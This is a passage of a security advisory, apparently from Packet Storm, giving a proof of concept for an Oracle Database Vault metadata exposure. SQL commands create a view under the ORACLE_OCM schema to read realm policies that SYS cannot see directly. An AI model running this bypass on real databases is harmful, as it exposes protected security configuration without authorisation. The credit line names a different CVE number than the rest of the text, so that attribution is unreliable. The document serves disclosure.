Successful attacks of this vulnerability can result in unauthorized read access to a subset of Database Vault accessible data [Meta-data].\n\n*****************************************\nProof of Concept (PoC):\n\nThe DBA_DV_REALM data dictionary view lists the realms (security policies configured for data protection) created in the current database instance, such information SYS user by default has NO ACCESS to since it exposes what security measures of data protection is configured.\n\nAccess the database as SYS account:\n\nsqlplus / as sysdba\n\nSQL&gt; SELECT *  FROM DBA_DV_REALM;\n\nERROR at line 1:\n\nORA-01031: insufficient privileges\n\n// as expected SYS account can't view the database view contents.....However...let us do the following:\n\nSQL&gt; create view ORACLE_OCM.DUMMY_V as select * from DBA_DV_REALM;\n\nSQL&gt; select * from ORACLE_OCM.DUMMY_V;\n\n// ORACLE_OCM account is misconfigured and was granted extra access to the view so when you create the view under it....you will be access the view content....and now you can see/view the vault realm policies are configured to protect what exactly within the database system.\n\n*****************************************\nReferences:\nhttps://www.oracle.com/security-alerts/cpuapr2021.html\nhttps://databasesecurityninja.wordpress.com/2022/02/02/cve-2021-2175-database-vault-metadata-exposure-vulnerability/\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-2175\nCredit:\nEmad Al-Mousa: CVE-2021-35576\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T00:00:10.068562Z"}]}
